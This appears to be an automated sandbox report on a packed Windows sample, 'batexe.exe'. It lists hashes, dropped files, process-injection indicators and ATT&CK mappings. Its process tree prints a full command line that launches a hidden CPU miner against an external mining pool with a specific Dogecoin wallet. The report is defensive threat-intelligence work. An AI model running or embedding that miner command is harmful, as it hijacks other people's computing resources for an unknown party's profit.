73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 16:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4592	b2e.exe
2252	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2336-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 4592	2336	batexe.exe	75
PID 2336 wrote to memory of 4592	2336	batexe.exe	75
PID 2336 wrote to memory of 4592	2336	batexe.exe	75
PID 4592 wrote to memory of 1336	4592	b2e.exe	76
PID 4592 wrote to memory of 1336	4592	b2e.exe	76
PID 4592 wrote to memory of 1336	4592	b2e.exe	76
PID 1336 wrote to memory of 2252	1336	cmd.exe	79
PID 1336 wrote to memory of 2252	1336	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Users\Admin\AppData\Local\Temp\9700.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9700.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9700.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\98F4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9700.tmp\b2e.exe

Filesize
1.2MB

MD5
05f6765e8266a1a7d81a80da7788444e

SHA1
e7afd0bf0dce889a026f4233c6705907083e6e23

SHA256
3256219f071d9bbeb2b3483abc7e647cbb550c0b74c415ace444bd8a334df9e8

SHA512
417d266a6eae32d630cf1322d3ab78f8547b09254ba3b5e2e544a7fd294de819754ab2f104ba2f3cab59a1fcfe7b0ea6f622712736079b7eec12a242b914293c

Download Submit
C:\Users\Admin\AppData\Local\Temp\9700.tmp\b2e.exe

Filesize
15.3MB

MD5
883a62da8ba35b635e57f8056341a6ff

SHA1
05e830ac0e98a4e6357d12772c9cd5585e0af179

SHA256
a690c1fb22e624eee00418ab7307ff14f30f49828b5a4fb0718cfa5db5dfdeab

SHA512
86f23367314b645dbf274d444519689494aeb183d1600446acfc3204a4b5351cfbe1e2eba13e8d8de96bb53f5006bb67d41ca38fe81e805d035a8931b075c2bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\98F4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.0MB

MD5
1c31d560845b897e18c2c40ba95950dc

SHA1
086f43d17408bcb8a21981c7f3a79c3cd619d950

SHA256
5568cab95462af172977b69c89620bf25c6569bfe48e30e572ca8a781f9bf3cf

SHA512
928e2fbebf13a62acaaf0aca3498eff8aa8bc372f1d0b6b2073eb4162b37498e0adf9cd6d9651d8169bf66a127ed89041e52020bf7fe5670cb4da6a5b16da9d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.7MB

MD5
879efa548ffe7e3020fa9a907bef5a7c

SHA1
278733fd5c12f97726f152c0244736f96d6c1b2d

SHA256
e34b4446cd02d9df2565c74f1991805d782a99d65abc1dd5043f7d79dc1111cf

SHA512
cee829a9738b6a2e6beaab8bf0f787b2f8ef51828e23c654e6455ea1cfefb0ad21ba3803620fae2ca6eac8f3f9c8955a2c419a1eea76f1cf5a264af4ad6d3886

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.8MB

MD5
e0d1dd3f9dd99a562ccc1ea2bc5ac3f1

SHA1
fe826d42e718053874a201dbd20ab8dbc2979714

SHA256
a843261b957ed141e393906dff8258c22c47b74fd4bbd18eb89cf61a5ca3701c

SHA512
fbe1f92a6cab2eed1df4b4dd3c26dce2547b3bc7ab69bec3de4affd215a3bd62431f1176cf2ea2ec7768081151cf94459284f1549e63f002a2a2bcf40a2a5a45

Download Submit
memory/2252-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2252-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2252-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-42-0x000000006D380000-0x000000006D418000-memory.dmp

Filesize
608KB

Download
memory/2252-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2252-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2336-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4592-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4592-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download